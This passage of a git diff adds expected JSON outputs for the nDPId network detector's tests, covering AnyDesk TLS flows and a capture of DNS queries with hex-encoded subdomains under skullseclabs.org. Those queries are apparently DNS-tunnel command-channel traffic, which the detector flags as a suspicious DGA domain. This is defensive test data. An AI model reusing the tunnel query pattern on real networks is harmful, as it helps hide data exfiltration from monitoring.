ZZcpRdLmq451xVL8rL8wDQYJKoZIhvcNAQELBQADggIBAGaRMkjCQwOFjmCpjVewPT62MuIafRSC4Z0O+0QWB1PHDHb2GlJ5LWbUFThy1vpyjh19L1wPCxJWhaY8PttZrUJFsoFAOthHxaopXOcDA0mgW0k\/ljLL+1fwcvADKqBcacDvUvI3a9S1Cibm6CC5S4u7Y95vZWqfXdfBl5stME6agYW0HJKm7dh6+d+dA7OQnHipyLoOPKzsFNt9UbOXBrn2d2Cr\/lmDr46XVinH235xedHH99q2yPevjyTgGwDfFtEZD9FanUcBfCdTgE9e5p5qbCT+p+SAfI5YsNQSTfArm7reqCIp\/\/ykK+bUhdN7zx9uuxCVXAzDJjlTyOx8NOJ4zttMDeZwfJev+OGhYVouqoNxF0SgnfxMEfy0XPp2wXEZoySQO0+pz8APHRZysuwFzalvy9pDczR8elyWDce\/2b4BkLc4W7yJheLb539UUoq+3al4Vc7dPrKTUuUPOBbOuzXO4Z9Zod+eDRw0b1QJQAniymVNFEJMPaOrgfLzTcGa\/dKQ1diwXhIKLMNWxN7bQ5LBrfHh\/PvD74hacQYkXLdHYW\/kukh6eIsjvV9uEW1d+2PJsVgVlaMm0ky2p+Q5POfjWbYrXy6OcO14LP9VzsT8ZminOkRX8km1ObtFBCwm03x93FrfzkmQzxQdQ99Hr49V9XxJA52jASKsiq2RAAVnMIIFYzCCA0ugAwIBAgIJAIf7DQy3sYvoMA0GCSqGSIb3DQEBBQUAMEgxFzAVBgNVBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUgR21iSDELMAkGA1UEBhMCREUwHhcNMTQwNDExMDIzNzU1WhcNMjQwNDA4MDIzNzU1WjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJvIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtBVBDdoa01og\/vnfvwqM8aSt79RUlufigrcNAOrxN+LXjKEWO6BoCDiqbdsmvqZpkzaojh5w3KyBHuLdFoM0tRVw9YrNne5dgHxaeKIHpK7m+NYx+lx7u+Ba61Evl7\/2+zMnkLPY5A=="} +00894{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":14,"source":"anydesk.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1591342199201,"flow_last_seen":1591342199532,"flow_tot_l4_data_len":1707,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1320,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.149.129","dst_ip":"51.83.238.219","src_port":43535,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.AnyDesk","breed":"Acceptable","category":"RemoteAccess"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"201999283915cc31cee6b15472ef3332","ja3s":"107030a763c7224285717ff1569a17f3","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"}} +00407{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":532151,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAoCJNAAEAGueTAqJWBM1Pu26oPAFAppp36aHVpkVAQ+NR4cwAA"} +02173{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":532596,"pkt_caplen":1354,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1354,"pkt_l4_len":1320,"pkt":"AAwplUdeAFBW5dKtCABFAAU8e1gAAIAGQgszU+7bwKiVgQBQqg9odWmRKaad+lAY+vAgpgAA4M1oO2qHbKYN59i9Yd9WayrhHCv1n7+F3YxbBh5xf7pKpkCwdxfqLD9blBSFLq0RYauI9gG7s0dr4oEY8Y455th7DGOGg6xwhHUnLTU9e3uozrJIeQg4LYImfpNLMnZmhaf9yvEKL8diD2pA\/hprWBxT5GPBdYOaq3gESYMf5yNwn6O\/aNEzL0zeXoaYfWF9ATT1nOnLQWuuUCtn1dnyAvxfo1I0udxn7\/pzxZRA6rWK95js6Ju7hmxvNjeKgIyfhPbKSnYico1SfYV1TVXvra\/z5RYjAFvotu1+ny6AS+7VX9xl6Ync26ZDBLvO\/alMLxkzquZxIIb+RYuX5sgdT3C6x8DD86by2sKkG92JTuwc2nskj6pC+RQyg2hjyCa87BOzDQvitgjGxgZ+oxZvFdIbFlI8HyKRJRcVzEKC2juoOccqUMrZTKCMlTN1A3C436DJsrKLGziDeTLDEtozlkL0kRGqxiYxvOpDijBUZcVDnlA7+pGTDp07I0o9Q8HGIptory\/8AYBSGAUiDr1q5C7J1uzFj\/MTswIDAQABo1AwTjAdBgNVHQ4EFgQUGWV5BoDG3rKqWJlXsjZc7QFijUcwHwYDVR0jBBgwFoAUGWV5BoDG3rKqWJlXsjZc7QFijUcwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAgEAs6pHF6Sv0mA0Fa0l1Y4oXsGqsY0wVptHdvLgIFQGPfEjwu+7ofKf46sMBr9UXgwaNVZt4ZNLxZlfkIZ+UoOUoKBHNvL88sJNcMnJbjRcpw8E\/esWXoq+hjugDHN\/o\/VfPSvFQQxnCuNIK8pi9qmaHsnkRLwX+dtcRZgJaezIY++FKU5x7fmZrEkgipC8WY7x86WZmRLjp3vlaDSrU1qt8UTKun\/CpnOSEOqMscbJ1eReKw8eSpP5bUwGhZBlUdOJzC6ia7Xk8Oo3Nal9wMuHEjJykyFRgR2jDMqW+IH0kqCv9xkk8+bN6hEpyfEpHbIrGBq0o8BYxHA5eKeI13QywoBig1jjtD4luFYsYHdSJaphMtGXjXckNCTF2\/LdYcjtY1cOwnDlH1LdbG84strtnacvh\/qzcOVkTfnDAtVG2h\/L8Fgg\/ESW8Mq2mznmzyfQLJl01MreR4jt3\/ecO6yKYtJ1kNkAgdP4wkeOmr2Hbc7lmn8odqR3xj+5v03xy98PLHP+tGDjJl6D8q42VpTpp52hPcpdbj1dqG\/ypY\/znmiFJ+zpZ4U0Fg1FNBSOBwx7JVFU8z+hKu+aF55R3hZk+93hyJQJjDm7d3PUZrtJK1z6K1eLZq33qHA7j54Jcd4SLu0CEEzVZx5y\/zo+NG2SYD1EXvQhYO5sLjpzGsMmavQWAwMAlAwAAJADABdBBJ4gqxu\/2Olw\/hDX4IRz1MnzWKHEoX5juzKFl0QvBpFxBeZDIFVOPCUvPpMn9UXfXp86d\/EthPoo4ljdTojgB5IGAwBHMEUCIF6xn0Z4OO3SABgfd1qVxd9TCdOKbYjboKDHbv2IgbH\/AiEAucA6fUIcRxnJDOsdT3ZwF8RSH7h1tM+xpD5QGUIjH9AWAwMAbg0AAGoDQAECABYGAwYBBQMFAQQDBAEDAwMBAgMCAQICAEwASjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJvIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFFgMDAA=="} +01096{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"anydesk.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":8,"flow_first_seen":1591342199201,"flow_last_seen":1591342199532,"flow_tot_l4_data_len":3047,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1320,"flow_avg_l4_data_len":380,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.149.129","dst_ip":"51.83.238.219","src_port":43535,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.AnyDesk","breed":"Acceptable","category":"RemoteAccess"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"201999283915cc31cee6b15472ef3332","ja3s":"107030a763c7224285717ff1569a17f3","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=AnyNet Root CA, O=philandro Software GmbH, C=DE","issuerDN":"C=DE, O=philandro Software GmbH, CN=AnyNet Relay","fingerprint":"9E:08:D2:58:A9:02:CD:4F:E2:4A:26:B8:48:5C:43:0B:81:29:99:E3"}} +00407{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":532606,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAoCJRAAEAGuePAqJWBM1Pu26oPAFAppp36aHVupVAQ+NR4cwAA"} +00416{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":532935,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"AAwplUdeAFBW5dKtCABFAAAte1kAAIAGRxkzU+7bwKiVgQBQqg9odW6lKaad+lAY+vDvVAAABA4AAAAA"} +00408{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":532944,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAoCJVAAEAGueLAqJWBM1Pu26oPAFAppp36aHVuqlAQ+NR4cwAA"} +01891{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":534700,"pkt_caplen":1148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1148,"pkt_l4_len":1114,"pkt":"AFBW5dKtAAwplUdeCABFAARuCJZAAEAGtZvAqJWBM1Pu26oPAFAppp36aHVuqlAY+NR8uQAAFgMDArYLAAKyAAKvAAKsMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBDbGllbnQwIBcNMjAwNjA1MDY0NzE5WhgPMjA3MDA1MjQwNjQ3MTlaMBkxFzAVBgNVBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2CJZ+76MBIM9tYv4RIU8hggSYQdC1Z23AXHEmEdKU2blbdgJ1JD7560PgYb+jw8lHJ2aspIhYVhj\/mFIIJIgcxgFDLBZ05BdXAEDNouFLA7mGVB17Fc9EwT5sfLnpZdQGBkdOgtch7VHHx4uMIvsbBP1vA1Wz2QCNZAAw6SR08AXXa\/+nMDmvYW5Ya4aF+NUHaF0W1du6kjDzfD0\/Cd+OjMkK9FgLsMv2OPD\/LyNe0ROv0TjYBH8TXFRAMGHpTtCDnQLRgU\/z4IxKakjhbVmIDIpMosDKrW1LtcJjuBFOjuYzuc7ywkcx40R3pjdf0nUbncZT8AQdDK2nm\/ZdDQH+wIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQA+rEBC06lmi6Y8ghSh5ga6+M5IqGE205kqOSIIgb2om86\/CVyeHNN\/+8w\/9\/lO7sGX\/ZwFhkUWK+AQANiTxUbOcOyCBJcsHNiDzYN2snA9OhvXtRc55WoaQ6\/EaLCZ+dge221DKm3nLNfUDTIJCVl\/AN4FDciFCdA9OTyz9XmP2n86iEe5uobdxXoDtyad6MCDLZP+EXGyrhFzaTnf8Grkt4ggvJA+qmnE04fq1F868g9vkFZE8C8QcKkaNbJ3SyYld5nGbCCXjJPLGs+JVN1Xi1TQmNt9P2cJ1\/q0cBHUEkKcQZNBUxcvzD1GJiNEgDvqsPXy\/algtmd1y3KFFhoGFgMDAEYQAABCQQTn1vQPBEkcOQdImspLS+wT75p5cEpgvfpCz9Nj+aFOSNDMoeNgtZAANrNPK1339MpexyXDDmFgRrYTF5Uz8fBpFgMDAQgPAAEEBgEBADEA+25yugCgnYwr5qC+9eFazDm0g8fRRon26LpUWQMM21OuJ0pWi+aEwKNm9Hjx2fddVjECNjd6mVWRNtioH5t2qidvzxvr+cx7WPnSsWQXpMXAnFllUa\/U0Gs5VrIH2aqLbbv+3VPC7NnrLG3yowRb8JeKnSlLC0yubVMncjgwK0fJCH3md2oD5vgm1UYgYGlqEc9wvrioj8x0LniF73CauQACXL4qqgUEaQEHkqy60tYQpUdwkvD7vy7cIBaMw+H5gGIJ6phYrQLLDdJ4AYW\/3Z0pN6RwzNfPxJ519N8c4ssJrnwlnC9boYyx7zxeoCXz0zYFWmyBYgK8bZOiUwkUAwMAAQEWAwMAKKTfy7rSd5wySnHcBvqlfzZxM2OpA5CgVEJH9y2sl4I4KAEkx0+5214="} +00416{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":534956,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwplUdeAFBW5dKtCABFAAAoe1oAAIAGRx0zU+7bwKiVgQBQqg9odW6qKaaiQFAQ+vDvJAAAAAAAAAAA"} +00478{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":699842,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AAwplUdeAFBW5dKtCABFAABbe1sAAIAGRukzU+7bwKiVgQBQqg9odW6qKaaiQFAY+vB2YAAAFAMDAAEBFgMDACi4iiS75ftB9gM9aj9+xuZ4lRQvtRoX8YpGHm1rLD+ZptnwWDmjbYq4"} +00408{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":699869,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAoCJdAAEAGueDAqJWBM1Pu26oPAFAppqJAaHVu3VAQ+NR4cwAA"} +00478{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342214,"pkt_ts_usec":31681,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AFBW5dKtAAwplUdeCABFAABbto5AAEAGCwHAqJWBM1PvkI3\/AFB7i56NMVwTIlAY+DR5WwAAFwMDAC7mz9mv7V5oqQRiiK1BmntnBec1wc6utyo8wHetLW4+4vpxLCxi5CGV1lyg9OUE"} +00416{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342214,"pkt_ts_usec":31959,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwplUdeAFBW5dKtCABFAAAofKsAAIAGRRczU++QwKiVgQBQjf8xXBMie4uewFAQ+vBOvAAAAAAAAAAA"} +00480{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342214,"pkt_ts_usec":255944,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AAwplUdeAFBW5dKtCABFAABZfM4AAIAGRMMzU++QwKiVgQBQjf8xXBMie4uewFAY+vBbDwAAFwMDACwkrUQuni1bFVh+peWRbnlsLw+6JDYDm31RWqGf060eD0C3WeR2ucetl5\/1QQ=="} +00410{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342214,"pkt_ts_usec":255969,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAoto9AAEAGCzPAqJWBM1PvkI3\/AFB7i57AMVwTU1AQ+DR5KAAA"} +00483{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3394,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342229,"pkt_ts_usec":256699,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AFBW5dKtAAwplUdeCABFAABbtpBAAEAGCv\/AqJWBM1PvkI3\/AFB7i57AMVwTU1AY+DR5WwAAFwMDAC7mz9mv7V5oqiGs9UmHGy59yVVeeA5lJVIYioWWJ6DRPZ7\/AKPnOzRdEdmukW2o"} +00418{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3395,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342229,"pkt_ts_usec":256927,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwplUdeAFBW5dKtCABFAAAogvwAAIAGPsYzU++QwKiVgQBQjf8xXBNTe4ue81AQ+vBOWAAAAAAAAAAA"} +00481{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3423,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342229,"pkt_ts_usec":454086,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AAwplUdeAFBW5dKtCABFAABZgw0AAIAGPoQzU++QwKiVgQBQjf8xXBNTe4ue81AY+vB\/XQAAFwMDACwkrUQuni1bFlXQfhlbpM1ompEjuxnWze1GuQIrlqNjGlJEE1Ae4+mTb0GZcg=="} diff --git a/test/results/bad-dns-traffic.pcap.out b/test/results/bad-dns-traffic.pcap.out new file mode 100644 index 000000000..cdd1cd4a2 --- /dev/null +++ b/test/results/bad-dns-traffic.pcap.out @@ -0,0 +1,66 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1486012623234,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":35966,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012623,"pkt_ts_usec":234684,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB3821AAEARVP\/AqCtbBAICBIx+ADUAYyoIa68BAAABAAAAAAAAODA1ZTEwMGE2MjFjMzYyMDAwMTYzNmY2ZTczNmY2YzY1MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAA8AAQ=="} +00744{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1486012623234,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":35966,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"05e100a621c3620001636f6e736f6c65202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":15,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00525{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012624,"pkt_ts_usec":242985,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB38+5AAEARVH7AqCtbBAICBIx+ADUAY73N0g0BAAABAAAAAAAAODk1ODcwMGE2MjFjMzYyMDAwMTYzNmY2ZTczNmY2YzY1MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAA8AAQ=="} +00765{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1486012623234,"flow_last_seen":1486012624242,"flow_tot_l4_data_len":198,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":35966,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"958700a621c3620001636f6e736f6c65202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":15,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00570{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012624,"pkt_ts_usec":325522,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"5LMYS\/DDAhoR+f4qCABFAACaAABAADMRVUoEAgIEwKgrWwA1jH4AhhPK0g2BgAABAAEAAAAAODk1ODcwMGE2MjFjMzYyMDAwMTYzNmY2ZTczNmY2YzY1MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAA8AAcAMAA8AAQAAADwAFwAKEjYzNGYwMGE2MjEwMTBhMDAwMMBF"} +00768{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_first_seen":1486012623234,"flow_last_seen":1486012624325,"flow_tot_l4_data_len":332,"flow_min_l4_data_len":99,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":35966,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"958700a621c3620001636f6e736f6c65202873697276696d65732900.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00472{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012624,"pkt_ts_usec":325823,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR8\/FAAEARVKHAqCtbBAICBIx+ADUAPZ97lHsBAAABAAAAAAAAEjdjZDUwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAQAAE="} +00729{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1486012623234,"flow_last_seen":1486012624325,"flow_tot_l4_data_len":393,"flow_min_l4_data_len":61,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":35966,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"7cd501a621c362010a.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":16,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00513{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012624,"pkt_ts_usec":382053,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"5LMYS\/DDAhoR+f4qCABFAABwAABAADMRVXQEAgIEwKgrWwA1jH4AXFjwlHuBgAABAAEAAAAAEjdjZDUwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAQAAHADAAQAAEAAAA8ABMSOTZiMjAxYTYyMTAxMGFjMzYy"} +00729{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":5,"flow_first_seen":1486012623234,"flow_last_seen":1486012624382,"flow_tot_l4_data_len":485,"flow_min_l4_data_len":61,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":35966,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"7cd501a621c362010a.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":16,"rsp_type":16,"rsp_addr":"0.0.0.0"}} +00472{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012625,"pkt_ts_usec":339317,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR9NNAAEARU7\/AqCtbBAICBIx+ADUAPZVqopQBAAABAAAAAAAAEmIxMWMwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAQAAE="} +00729{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1486012623234,"flow_last_seen":1486012625339,"flow_tot_l4_data_len":546,"flow_min_l4_data_len":61,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":35966,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain 